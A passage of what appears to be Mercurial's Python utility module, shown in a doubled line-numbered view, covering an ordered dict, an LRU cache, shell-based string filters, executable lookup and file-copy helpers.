562 self._list = []
563 if data:
563 if data:
564 self.update(data)
564 self.update(data)
565 def copy(self):
565 def copy(self):
566 return sortdict(self)
566 return sortdict(self)
567 def __setitem__(self, key, val):
567 def __setitem__(self, key, val):
568 if key in self:
568 if key in self:
569 self._list.remove(key)
569 self._list.remove(key)
570 self._list.append(key)
570 self._list.append(key)
571 dict.__setitem__(self, key, val)
571 dict.__setitem__(self, key, val)
572 def __iter__(self):
572 def __iter__(self):
573 return self._list.__iter__()
573 return self._list.__iter__()
574 def update(self, src):
574 def update(self, src):
575 if isinstance(src, dict):
575 if isinstance(src, dict):
576 src = src.iteritems()
576 src = src.iteritems()
577 for k, v in src:
577 for k, v in src:
578 self[k] = v
578 self[k] = v
579 def clear(self):
579 def clear(self):
580 dict.clear(self)
580 dict.clear(self)
581 self._list = []
581 self._list = []
582 def items(self):
582 def items(self):
583 return [(k, self[k]) for k in self._list]
583 return [(k, self[k]) for k in self._list]
584 def __delitem__(self, key):
584 def __delitem__(self, key):
585 dict.__delitem__(self, key)
585 dict.__delitem__(self, key)
586 self._list.remove(key)
586 self._list.remove(key)
587 def pop(self, key, *args, **kwargs):
587 def pop(self, key, *args, **kwargs):
588 try:
588 try:
589 self._list.remove(key)
589 self._list.remove(key)
590 except ValueError:
590 except ValueError:
591 pass
591 pass
592 return dict.pop(self, key, *args, **kwargs)
592 return dict.pop(self, key, *args, **kwargs)
593 def keys(self):
593 def keys(self):
594 return self._list[:]
594 return self._list[:]
595 def iterkeys(self):
595 def iterkeys(self):
596 return self._list.__iter__()
596 return self._list.__iter__()
597 def iteritems(self):
597 def iteritems(self):
598 for k in self._list:
598 for k in self._list:
599 yield k, self[k]
599 yield k, self[k]
600 def insert(self, index, key, val):
600 def insert(self, index, key, val):
601 self._list.insert(index, key)
601 self._list.insert(index, key)
602 dict.__setitem__(self, key, val)
602 dict.__setitem__(self, key, val)
603 def __repr__(self):
603 def __repr__(self):
604 if not self:
604 if not self:
605 return '%s()' % self.__class__.__name__
605 return '%s()' % self.__class__.__name__
606 return '%s(%r)' % (self.__class__.__name__, self.items())
606 return '%s(%r)' % (self.__class__.__name__, self.items())
607
607
608 class _lrucachenode(object):
608 class _lrucachenode(object):
609 """A node in a doubly linked list.
609 """A node in a doubly linked list.
610
610
611 Holds a reference to nodes on either side as well as a key-value
611 Holds a reference to nodes on either side as well as a key-value
612 pair for the dictionary entry.
612 pair for the dictionary entry.
613 """
613 """
614 __slots__ = (u'next', u'prev', u'key', u'value')
614 __slots__ = (u'next', u'prev', u'key', u'value')
615
615
616 def __init__(self):
616 def __init__(self):
617 self.next = None
617 self.next = None
618 self.prev = None
618 self.prev = None
619
619
620 self.key = _notset
620 self.key = _notset
621 self.value = None
621 self.value = None
622
622
623 def markempty(self):
623 def markempty(self):
624 """Mark the node as emptied."""
624 """Mark the node as emptied."""
625 self.key = _notset
625 self.key = _notset
626
626
627 class lrucachedict(object):
627 class lrucachedict(object):
628 """Dict that caches most recent accesses and sets.
628 """Dict that caches most recent accesses and sets.
629
629
630 The dict consists of an actual backing dict - indexed by original
630 The dict consists of an actual backing dict - indexed by original
631 key - and a doubly linked circular list defining the order of entries in
631 key - and a doubly linked circular list defining the order of entries in
632 the cache.
632 the cache.
633
633
634 The head node is the newest entry in the cache. If the cache is full,
634 The head node is the newest entry in the cache. If the cache is full,
635 we recycle head.prev and make it the new head. Cache accesses result in
635 we recycle head.prev and make it the new head. Cache accesses result in
636 the node being moved to before the existing head and being marked as the
636 the node being moved to before the existing head and being marked as the
637 new head node.
637 new head node.
638 """
638 """
639 def __init__(self, max):
639 def __init__(self, max):
640 self._cache = {}
640 self._cache = {}
641
641
642 self._head = head = _lrucachenode()
642 self._head = head = _lrucachenode()
643 head.prev = head
643 head.prev = head
644 head.next = head
644 head.next = head
645 self._size = 1
645 self._size = 1
646 self._capacity = max
646 self._capacity = max
647
647
648 def __len__(self):
648 def __len__(self):
649 return len(self._cache)
649 return len(self._cache)
650
650
651 def __contains__(self, k):
651 def __contains__(self, k):
652 return k in self._cache
652 return k in self._cache
653
653
654 def __iter__(self):
654 def __iter__(self):
655 # We don't have to iterate in cache order, but why not.
655 # We don't have to iterate in cache order, but why not.
656 n = self._head
656 n = self._head
657 for i in range(len(self._cache)):
657 for i in range(len(self._cache)):
658 yield n.key
658 yield n.key
659 n = n.next
659 n = n.next
660
660
661 def __getitem__(self, k):
661 def __getitem__(self, k):
662 node = self._cache[k]
662 node = self._cache[k]
663 self._movetohead(node)
663 self._movetohead(node)
664 return node.value
664 return node.value
665
665
666 def __setitem__(self, k, v):
666 def __setitem__(self, k, v):
667 node = self._cache.get(k)
667 node = self._cache.get(k)
668 # Replace existing value and mark as newest.
668 # Replace existing value and mark as newest.
669 if node is not None:
669 if node is not None:
670 node.value = v
670 node.value = v
671 self._movetohead(node)
671 self._movetohead(node)
672 return
672 return
673
673
674 if self._size < self._capacity:
674 if self._size < self._capacity:
675 node = self._addcapacity()
675 node = self._addcapacity()
676 else:
676 else:
677 # Grab the last/oldest item.
677 # Grab the last/oldest item.
678 node = self._head.prev
678 node = self._head.prev
679
679
680 # At capacity. Kill the old entry.
680 # At capacity. Kill the old entry.
681 if node.key is not _notset:
681 if node.key is not _notset:
682 del self._cache[node.key]
682 del self._cache[node.key]
683
683
684 node.key = k
684 node.key = k
685 node.value = v
685 node.value = v
686 self._cache[k] = node
686 self._cache[k] = node
687 # And mark it as newest entry. No need to adjust order since it
687 # And mark it as newest entry. No need to adjust order since it
688 # is already self._head.prev.
688 # is already self._head.prev.
689 self._head = node
689 self._head = node
690
690
691 def __delitem__(self, k):
691 def __delitem__(self, k):
692 node = self._cache.pop(k)
692 node = self._cache.pop(k)
693 node.markempty()
693 node.markempty()
694
694
695 # Temporarily mark as newest item before re-adjusting head to make
695 # Temporarily mark as newest item before re-adjusting head to make
696 # this node the oldest item.
696 # this node the oldest item.
697 self._movetohead(node)
697 self._movetohead(node)
698 self._head = node.next
698 self._head = node.next
699
699
700 # Additional dict methods.
700 # Additional dict methods.
701
701
702 def get(self, k, default=None):
702 def get(self, k, default=None):
703 try:
703 try:
704 return self._cache[k].value
704 return self._cache[k].value
705 except KeyError:
705 except KeyError:
706 return default
706 return default
707
707
708 def clear(self):
708 def clear(self):
709 n = self._head
709 n = self._head
710 while n.key is not _notset:
710 while n.key is not _notset:
711 n.markempty()
711 n.markempty()
712 n = n.next
712 n = n.next
713
713
714 self._cache.clear()
714 self._cache.clear()
715
715
716 def copy(self):
716 def copy(self):
717 result = lrucachedict(self._capacity)
717 result = lrucachedict(self._capacity)
718 n = self._head.prev
718 n = self._head.prev
719 # Iterate in oldest-to-newest order, so the copy has the right ordering
719 # Iterate in oldest-to-newest order, so the copy has the right ordering
720 for i in range(len(self._cache)):
720 for i in range(len(self._cache)):
721 result[n.key] = n.value
721 result[n.key] = n.value
722 n = n.prev
722 n = n.prev
723 return result
723 return result
724
724
725 def _movetohead(self, node):
725 def _movetohead(self, node):
726 """Mark a node as the newest, making it the new head.
726 """Mark a node as the newest, making it the new head.
727
727
728 When a node is accessed, it becomes the freshest entry in the LRU
728 When a node is accessed, it becomes the freshest entry in the LRU
729 list, which is denoted by self._head.
729 list, which is denoted by self._head.
730
730
731 Visually, let's make ``N`` the new head node (* denotes head):
731 Visually, let's make ``N`` the new head node (* denotes head):
732
732
733 previous/oldest <-> head <-> next/next newest
733 previous/oldest <-> head <-> next/next newest
734
734
735 ----<->--- A* ---<->-----
735 ----<->--- A* ---<->-----
736 | |
736 | |
737 E <-> D <-> N <-> C <-> B
737 E <-> D <-> N <-> C <-> B
738
738
739 To:
739 To:
740
740
741 ----<->--- N* ---<->-----
741 ----<->--- N* ---<->-----
742 | |
742 | |
743 E <-> D <-> C <-> B <-> A
743 E <-> D <-> C <-> B <-> A
744
744
745 This requires the following moves:
745 This requires the following moves:
746
746
747 C.next = D (node.prev.next = node.next)
747 C.next = D (node.prev.next = node.next)
748 D.prev = C (node.next.prev = node.prev)
748 D.prev = C (node.next.prev = node.prev)
749 E.next = N (head.prev.next = node)
749 E.next = N (head.prev.next = node)
750 N.prev = E (node.prev = head.prev)
750 N.prev = E (node.prev = head.prev)
751 N.next = A (node.next = head)
751 N.next = A (node.next = head)
752 A.prev = N (head.prev = node)
752 A.prev = N (head.prev = node)
753 """
753 """
754 head = self._head
754 head = self._head
755 # C.next = D
755 # C.next = D
756 node.prev.next = node.next
756 node.prev.next = node.next
757 # D.prev = C
757 # D.prev = C
758 node.next.prev = node.prev
758 node.next.prev = node.prev
759 # N.prev = E
759 # N.prev = E
760 node.prev = head.prev
760 node.prev = head.prev
761 # N.next = A
761 # N.next = A
762 # It is tempting to do just "head" here, however if node is
762 # It is tempting to do just "head" here, however if node is
763 # adjacent to head, this will do bad things.
763 # adjacent to head, this will do bad things.
764 node.next = head.prev.next
764 node.next = head.prev.next
765 # E.next = N
765 # E.next = N
766 node.next.prev = node
766 node.next.prev = node
767 # A.prev = N
767 # A.prev = N
768 node.prev.next = node
768 node.prev.next = node
769
769
770 self._head = node
770 self._head = node
771
771
772 def _addcapacity(self):
772 def _addcapacity(self):
773 """Add a node to the circular linked list.
773 """Add a node to the circular linked list.
774
774
775 The new node is inserted before the head node.
775 The new node is inserted before the head node.
776 """
776 """
777 head = self._head
777 head = self._head
778 node = _lrucachenode()
778 node = _lrucachenode()
779 head.prev.next = node
779 head.prev.next = node
780 node.prev = head.prev
780 node.prev = head.prev
781 node.next = head
781 node.next = head
782 head.prev = node
782 head.prev = node
783 self._size += 1
783 self._size += 1
784 return node
784 return node
785
785
786 def lrucachefunc(func):
786 def lrucachefunc(func):
787 '''cache most recent results of function calls'''
787 '''cache most recent results of function calls'''
788 cache = {}
788 cache = {}
789 order = collections.deque()
789 order = collections.deque()
790 if func.__code__.co_argcount == 1:
790 if func.__code__.co_argcount == 1:
791 def f(arg):
791 def f(arg):
792 if arg not in cache:
792 if arg not in cache:
793 if len(cache) > 20:
793 if len(cache) > 20:
794 del cache[order.popleft()]
794 del cache[order.popleft()]
795 cache[arg] = func(arg)
795 cache[arg] = func(arg)
796 else:
796 else:
797 order.remove(arg)
797 order.remove(arg)
798 order.append(arg)
798 order.append(arg)
799 return cache[arg]
799 return cache[arg]
800 else:
800 else:
801 def f(*args):
801 def f(*args):
802 if args not in cache:
802 if args not in cache:
803 if len(cache) > 20:
803 if len(cache) > 20:
804 del cache[order.popleft()]
804 del cache[order.popleft()]
805 cache[args] = func(*args)
805 cache[args] = func(*args)
806 else:
806 else:
807 order.remove(args)
807 order.remove(args)
808 order.append(args)
808 order.append(args)
809 return cache[args]
809 return cache[args]
810
810
811 return f
811 return f
812
812
813 class propertycache(object):
813 class propertycache(object):
814 def __init__(self, func):
814 def __init__(self, func):
815 self.func = func
815 self.func = func
816 self.name = func.__name__
816 self.name = func.__name__
817 def __get__(self, obj, type=None):
817 def __get__(self, obj, type=None):
818 result = self.func(obj)
818 result = self.func(obj)
819 self.cachevalue(obj, result)
819 self.cachevalue(obj, result)
820 return result
820 return result
821
821
822 def cachevalue(self, obj, value):
822 def cachevalue(self, obj, value):
823 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
823 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
824 obj.__dict__[self.name] = value
824 obj.__dict__[self.name] = value
825
825
826 def pipefilter(s, cmd):
826 def pipefilter(s, cmd):
827 '''filter string S through command CMD, returning its output'''
827 '''filter string S through command CMD, returning its output'''
828 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
828 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
829 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
829 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
830 pout, perr = p.communicate(s)
830 pout, perr = p.communicate(s)
831 return pout
831 return pout
832
832
833 def tempfilter(s, cmd):
833 def tempfilter(s, cmd):
834 '''filter string S through a pair of temporary files with CMD.
834 '''filter string S through a pair of temporary files with CMD.
835 CMD is used as a template to create the real command to be run,
835 CMD is used as a template to create the real command to be run,
836 with the strings INFILE and OUTFILE replaced by the real names of
836 with the strings INFILE and OUTFILE replaced by the real names of
837 the temporary files generated.'''
837 the temporary files generated.'''
838 inname, outname = None, None
838 inname, outname = None, None
839 try:
839 try:
840 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
840 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
841 fp = os.fdopen(infd, pycompat.sysstr('wb'))
841 fp = os.fdopen(infd, pycompat.sysstr('wb'))
842 fp.write(s)
842 fp.write(s)
843 fp.close()
843 fp.close()
844 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
844 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
845 os.close(outfd)
845 os.close(outfd)
846 cmd = cmd.replace('INFILE', inname)
846 cmd = cmd.replace('INFILE', inname)
847 cmd = cmd.replace('OUTFILE', outname)
847 cmd = cmd.replace('OUTFILE', outname)
848 code = os.system(cmd)
848 code = os.system(cmd)
849 if pycompat.sysplatform == 'OpenVMS' and code & 1:
849 if pycompat.sysplatform == 'OpenVMS' and code & 1:
850 code = 0
850 code = 0
851 if code:
851 if code:
852 raise Abort(_("command '%s' failed: %s") %
852 raise Abort(_("command '%s' failed: %s") %
853 (cmd, explainexit(code)))
853 (cmd, explainexit(code)))
854 return readfile(outname)
854 return readfile(outname)
855 finally:
855 finally:
856 try:
856 try:
857 if inname:
857 if inname:
858 os.unlink(inname)
858 os.unlink(inname)
859 except OSError:
859 except OSError:
860 pass
860 pass
861 try:
861 try:
862 if outname:
862 if outname:
863 os.unlink(outname)
863 os.unlink(outname)
864 except OSError:
864 except OSError:
865 pass
865 pass
866
866
867 filtertable = {
867 filtertable = {
868 'tempfile:': tempfilter,
868 'tempfile:': tempfilter,
869 'pipe:': pipefilter,
869 'pipe:': pipefilter,
870 }
870 }
871
871
872 def filter(s, cmd):
872 def filter(s, cmd):
873 "filter a string through a command that transforms its input to its output"
873 "filter a string through a command that transforms its input to its output"
874 for name, fn in filtertable.iteritems():
874 for name, fn in filtertable.iteritems():
875 if cmd.startswith(name):
875 if cmd.startswith(name):
876 return fn(s, cmd[len(name):].lstrip())
876 return fn(s, cmd[len(name):].lstrip())
877 return pipefilter(s, cmd)
877 return pipefilter(s, cmd)
878
878
879 def binary(s):
879 def binary(s):
880 """return true if a string is binary data"""
880 """return true if a string is binary data"""
881 return bool(s and '\0' in s)
881 return bool(s and '\0' in s)
882
882
883 def increasingchunks(source, min=1024, max=65536):
883 def increasingchunks(source, min=1024, max=65536):
884 '''return no less than min bytes per chunk while data remains,
884 '''return no less than min bytes per chunk while data remains,
885 doubling min after each chunk until it reaches max'''
885 doubling min after each chunk until it reaches max'''
886 def log2(x):
886 def log2(x):
887 if not x:
887 if not x:
888 return 0
888 return 0
889 i = 0
889 i = 0
890 while x:
890 while x:
891 x >>= 1
891 x >>= 1
892 i += 1
892 i += 1
893 return i - 1
893 return i - 1
894
894
895 buf = []
895 buf = []
896 blen = 0
896 blen = 0
897 for chunk in source:
897 for chunk in source:
898 buf.append(chunk)
898 buf.append(chunk)
899 blen += len(chunk)
899 blen += len(chunk)
900 if blen >= min:
900 if blen >= min:
901 if min < max:
901 if min < max:
902 min = min << 1
902 min = min << 1
903 nmin = 1 << log2(blen)
903 nmin = 1 << log2(blen)
904 if nmin > min:
904 if nmin > min:
905 min = nmin
905 min = nmin
906 if min > max:
906 if min > max:
907 min = max
907 min = max
908 yield ''.join(buf)
908 yield ''.join(buf)
909 blen = 0
909 blen = 0
910 buf = []
910 buf = []
911 if buf:
911 if buf:
912 yield ''.join(buf)
912 yield ''.join(buf)
913
913
914 Abort = error.Abort
914 Abort = error.Abort
915
915
916 def always(fn):
916 def always(fn):
917 return True
917 return True
918
918
919 def never(fn):
919 def never(fn):
920 return False
920 return False
921
921
922 def nogc(func):
922 def nogc(func):
923 """disable garbage collector
923 """disable garbage collector
924
924
925 Python's garbage collector triggers a GC each time a certain number of
925 Python's garbage collector triggers a GC each time a certain number of
926 container objects (the number being defined by gc.get_threshold()) are
926 container objects (the number being defined by gc.get_threshold()) are
927 allocated even when marked not to be tracked by the collector. Tracking has
927 allocated even when marked not to be tracked by the collector. Tracking has
928 no effect on when GCs are triggered, only on what objects the GC looks
928 no effect on when GCs are triggered, only on what objects the GC looks
929 into. As a workaround, disable GC while building complex (huge)
929 into. As a workaround, disable GC while building complex (huge)
930 containers.
930 containers.
931
931
932 This garbage collector issue have been fixed in 2.7.
932 This garbage collector issue have been fixed in 2.7.
933 """
933 """
934 if sys.version_info >= (2, 7):
934 if sys.version_info >= (2, 7):
935 return func
935 return func
936 def wrapper(*args, **kwargs):
936 def wrapper(*args, **kwargs):
937 gcenabled = gc.isenabled()
937 gcenabled = gc.isenabled()
938 gc.disable()
938 gc.disable()
939 try:
939 try:
940 return func(*args, **kwargs)
940 return func(*args, **kwargs)
941 finally:
941 finally:
942 if gcenabled:
942 if gcenabled:
943 gc.enable()
943 gc.enable()
944 return wrapper
944 return wrapper
945
945
946 def pathto(root, n1, n2):
946 def pathto(root, n1, n2):
947 '''return the relative path from one place to another.
947 '''return the relative path from one place to another.
948 root should use os.sep to separate directories
948 root should use os.sep to separate directories
949 n1 should use os.sep to separate directories
949 n1 should use os.sep to separate directories
950 n2 should use "/" to separate directories
950 n2 should use "/" to separate directories
951 returns an os.sep-separated path.
951 returns an os.sep-separated path.
952
952
953 If n1 is a relative path, it's assumed it's
953 If n1 is a relative path, it's assumed it's
954 relative to root.
954 relative to root.
955 n2 should always be relative to root.
955 n2 should always be relative to root.
956 '''
956 '''
957 if not n1:
957 if not n1:
958 return localpath(n2)
958 return localpath(n2)
959 if os.path.isabs(n1):
959 if os.path.isabs(n1):
960 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
960 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
961 return os.path.join(root, localpath(n2))
961 return os.path.join(root, localpath(n2))
962 n2 = '/'.join((pconvert(root), n2))
962 n2 = '/'.join((pconvert(root), n2))
963 a, b = splitpath(n1), n2.split('/')
963 a, b = splitpath(n1), n2.split('/')
964 a.reverse()
964 a.reverse()
965 b.reverse()
965 b.reverse()
966 while a and b and a[-1] == b[-1]:
966 while a and b and a[-1] == b[-1]:
967 a.pop()
967 a.pop()
968 b.pop()
968 b.pop()
969 b.reverse()
969 b.reverse()
970 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
970 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
971
971
972 def mainfrozen():
972 def mainfrozen():
973 """return True if we are a frozen executable.
973 """return True if we are a frozen executable.
974
974
975 The code supports py2exe (most common, Windows only) and tools/freeze
975 The code supports py2exe (most common, Windows only) and tools/freeze
976 (portable, not much used).
976 (portable, not much used).
977 """
977 """
978 return (safehasattr(sys, "frozen") or # new py2exe
978 return (safehasattr(sys, "frozen") or # new py2exe
979 safehasattr(sys, "importers") or # old py2exe
979 safehasattr(sys, "importers") or # old py2exe
980 imp.is_frozen(u"__main__")) # tools/freeze
980 imp.is_frozen(u"__main__")) # tools/freeze
981
981
982 # the location of data files matching the source code
982 # the location of data files matching the source code
983 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
983 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
984 # executable version (py2exe) doesn't support __file__
984 # executable version (py2exe) doesn't support __file__
985 datapath = os.path.dirname(pycompat.sysexecutable)
985 datapath = os.path.dirname(pycompat.sysexecutable)
986 else:
986 else:
987 datapath = os.path.dirname(pycompat.fsencode(__file__))
987 datapath = os.path.dirname(pycompat.fsencode(__file__))
988
988
989 i18n.setdatapath(datapath)
989 i18n.setdatapath(datapath)
990
990
991 _hgexecutable = None
991 _hgexecutable = None
992
992
993 def hgexecutable():
993 def hgexecutable():
994 """return location of the 'hg' executable.
994 """return location of the 'hg' executable.
995
995
996 Defaults to $HG or 'hg' in the search path.
996 Defaults to $HG or 'hg' in the search path.
997 """
997 """
998 if _hgexecutable is None:
998 if _hgexecutable is None:
999 hg = encoding.environ.get('HG')
999 hg = encoding.environ.get('HG')
1000 mainmod = sys.modules[pycompat.sysstr('__main__')]
1000 mainmod = sys.modules[pycompat.sysstr('__main__')]
1001 if hg:
1001 if hg:
1002 _sethgexecutable(hg)
1002 _sethgexecutable(hg)
1003 elif mainfrozen():
1003 elif mainfrozen():
1004 if getattr(sys, 'frozen', None) == 'macosx_app':
1004 if getattr(sys, 'frozen', None) == 'macosx_app':
1005 # Env variable set by py2app
1005 # Env variable set by py2app
1006 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1006 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1007 else:
1007 else:
1008 _sethgexecutable(pycompat.sysexecutable)
1008 _sethgexecutable(pycompat.sysexecutable)
1009 elif (os.path.basename(
1009 elif (os.path.basename(
1010 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1010 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1011 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1011 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1012 else:
1012 else:
1013 exe = findexe('hg') or os.path.basename(sys.argv[0])
1013 exe = findexe('hg') or os.path.basename(sys.argv[0])
1014 _sethgexecutable(exe)
1014 _sethgexecutable(exe)
1015 return _hgexecutable
1015 return _hgexecutable
1016
1016
1017 def _sethgexecutable(path):
1017 def _sethgexecutable(path):
1018 """set location of the 'hg' executable"""
1018 """set location of the 'hg' executable"""
1019 global _hgexecutable
1019 global _hgexecutable
1020 _hgexecutable = path
1020 _hgexecutable = path
1021
1021
1022 def _isstdout(f):
1022 def _isstdout(f):
1023 fileno = getattr(f, 'fileno', None)
1023 fileno = getattr(f, 'fileno', None)
1024 return fileno and fileno() == sys.__stdout__.fileno()
1024 return fileno and fileno() == sys.__stdout__.fileno()
1025
1025
1026 def shellenviron(environ=None):
1026 def shellenviron(environ=None):
1027 """return environ with optional override, useful for shelling out"""
1027 """return environ with optional override, useful for shelling out"""
1028 def py2shell(val):
1028 def py2shell(val):
1029 'convert python object into string that is useful to shell'
1029 'convert python object into string that is useful to shell'
1030 if val is None or val is False:
1030 if val is None or val is False:
1031 return '0'
1031 return '0'
1032 if val is True:
1032 if val is True:
1033 return '1'
1033 return '1'
1034 return str(val)
1034 return str(val)
1035 env = dict(encoding.environ)
1035 env = dict(encoding.environ)
1036 if environ:
1036 if environ:
1037 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1037 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1038 env['HG'] = hgexecutable()
1038 env['HG'] = hgexecutable()
1039 return env
1039 return env
1040
1040
1041 def system(cmd, environ=None, cwd=None, out=None):
1041 def system(cmd, environ=None, cwd=None, out=None):
1042 '''enhanced shell command execution.
1042 '''enhanced shell command execution.
1043 run with environment maybe modified, maybe in different dir.
1043 run with environment maybe modified, maybe in different dir.
1044
1044
1045 if out is specified, it is assumed to be a file-like object that has a
1045 if out is specified, it is assumed to be a file-like object that has a
1046 write() method. stdout and stderr will be redirected to out.'''
1046 write() method. stdout and stderr will be redirected to out.'''
1047 try:
1047 try:
1048 stdout.flush()
1048 stdout.flush()
1049 except Exception:
1049 except Exception:
1050 pass
1050 pass
1051 cmd = quotecommand(cmd)
1051 cmd = quotecommand(cmd)
1052 if pycompat.sysplatform == 'plan9' and (sys.version_info[0] == 2
1052 if pycompat.sysplatform == 'plan9' and (sys.version_info[0] == 2
1053 and sys.version_info[1] < 7):
1053 and sys.version_info[1] < 7):
1054 # subprocess kludge to work around issues in half-baked Python
1054 # subprocess kludge to work around issues in half-baked Python
1055 # ports, notably bichued/python:
1055 # ports, notably bichued/python:
1056 if not cwd is None:
1056 if not cwd is None:
1057 os.chdir(cwd)
1057 os.chdir(cwd)
1058 rc = os.system(cmd)
1058 rc = os.system(cmd)
1059 else:
1059 else:
1060 env = shellenviron(environ)
1060 env = shellenviron(environ)
1061 if out is None or _isstdout(out):
1061 if out is None or _isstdout(out):
1062 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1062 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1063 env=env, cwd=cwd)
1063 env=env, cwd=cwd)
1064 else:
1064 else:
1065 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1065 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1066 env=env, cwd=cwd, stdout=subprocess.PIPE,
1066 env=env, cwd=cwd, stdout=subprocess.PIPE,
1067 stderr=subprocess.STDOUT)
1067 stderr=subprocess.STDOUT)
1068 for line in iter(proc.stdout.readline, ''):
1068 for line in iter(proc.stdout.readline, ''):
1069 out.write(line)
1069 out.write(line)
1070 proc.wait()
1070 proc.wait()
1071 rc = proc.returncode
1071 rc = proc.returncode
1072 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1072 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1073 rc = 0
1073 rc = 0
1074 return rc
1074 return rc
1075
1075
1076 def checksignature(func):
1076 def checksignature(func):
1077 '''wrap a function with code to check for calling errors'''
1077 '''wrap a function with code to check for calling errors'''
1078 def check(*args, **kwargs):
1078 def check(*args, **kwargs):
1079 try:
1079 try:
1080 return func(*args, **kwargs)
1080 return func(*args, **kwargs)
1081 except TypeError:
1081 except TypeError:
1082 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1082 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1083 raise error.SignatureError
1083 raise error.SignatureError
1084 raise
1084 raise
1085
1085
1086 return check
1086 return check
1087
1087
1088 # a whilelist of known filesystems where hardlink works reliably
1088 # a whilelist of known filesystems where hardlink works reliably
1089 _hardlinkfswhitelist = set([
1089 _hardlinkfswhitelist = set([
1090 'btrfs',
1090 'btrfs',
1091 'ext2',
1091 'ext2',
1092 'ext3',
1092 'ext3',
1093 'ext4',
1093 'ext4',
1094 'hfs',
1094 'hfs',
1095 'jfs',
1095 'jfs',
1096 'reiserfs',
1096 'reiserfs',
1097 'tmpfs',
1097 'tmpfs',
1098 'ufs',
1098 'ufs',
1099 'xfs',
1099 'xfs',
1100 'zfs',
1100 'zfs',
1101 ])
1101 ])
1102
1102
1103 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1103 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1104 '''copy a file, preserving mode and optionally other stat info like
1104 '''copy a file, preserving mode and optionally other stat info like
1105 atime/mtime
1105 atime/mtime
1106
1106
1107 checkambig argument is used with filestat, and is useful only if
1107 checkambig argument is used with filestat, and is useful only if
1108 destination file is guarded by any lock (e.g. repo.lock or
1108 destination file is guarded by any lock (e.g. repo.lock or
1109 repo.wlock).
1109 repo.wlock).
1110
1110
1111 copystat and checkambig should be exclusive.
1111 copystat and checkambig should be exclusive.
1112 '''
1112 '''
1113 assert not (copystat and checkambig)
1113 assert not (copystat and checkambig)
1114 oldstat = None
1114 oldstat = None
1115 if os.path.lexists(dest):
1115 if os.path.lexists(dest):
1116 if checkambig:
1116 if checkambig:
1117 oldstat = checkambig and filestat(dest)
1117 oldstat = checkambig and filestat(dest)
1118 unlink(dest)
1118 unlink(dest)
1119 if hardlink:
1119 if hardlink:
1120 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1120 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1121 # unless we are confident that dest is on a whitelisted filesystem.
1121 # unless we are confident that dest is on a whitelisted filesystem.
1122 try:
1122 try:
1123 fstype = getfstype(os.path.dirname(dest))
1123 fstype = getfstype(os.path.dirname(dest))
1124 except OSError:
1124 except OSError:
1125 fstype = None
1125 fstype = None
1126 if fstype not in _hardlinkfswhitelist:
1126 if fstype not in _hardlinkfswhitelist:
1127 hardlink = False
1127 hardlink = False
1128 if hardlink:
1128 if hardlink:
1129 try:
1129 try:
1130 oslink(src, dest)
1130 oslink(src, dest)
1131 return
1131 return
1132 except (IOError, OSError):
1132 except (IOError, OSError):
1133 pass # fall back to normal copy
1133 pass # fall back to normal copy
1134 if os.path.islink(src):
1134 if os.path.islink(src):
1135 os.symlink(os.readlink(src), dest)
1135 os.symlink(os.readlink(src), dest)
1136 # copytime is ignored for symlinks, but in general copytime isn't needed
1136 # copytime is ignored for symlinks, but in general copytime isn't needed
1137 # for them anyway
1137 # for them anyway
1138 else:
1138 else:
1139 try:
1139 try:
1140 shutil.copyfile(src, dest)
1140 shutil.copyfile(src, dest)
1141 if copystat:
1141 if copystat:
1142 # copystat also copies mode
1142 # copystat also copies mode
1143 shutil.copystat(src, dest)
1143 shutil.copystat(src, dest)
1144 else:
1144 else:
1145 shutil.copymode(src, dest)
1145 shutil.copymode(src, dest)
1146 if oldstat and oldstat.stat:
1146 if oldstat and oldstat.stat:
1147 newstat = filestat(dest)
1147 newstat = filestat(dest)
1148 if newstat.isambig(oldstat):
1148 if newstat.isambig(oldstat):
1149 # stat of copied file is ambiguous to original one
1149 # stat of copied file is ambiguous to original one
1150 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1150 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1151 os.utime(dest, (advanced, advanced))
1151 os.utime(dest, (advanced, advanced))
1152 except shutil.Error as inst:
1152 except shutil.Error as inst:
1153 raise Abort(str(inst))
1153 raise Abort(str(inst))
1154
1154
1155 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1155 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1156 """Copy a directory tree using hardlinks if possible."""
1156 """Copy a directory tree using hardlinks if possible."""
1157 num = 0
1157 num = 0
1158
1158
1159 gettopic = lambda: hardlink and _('linking') or _('copying')
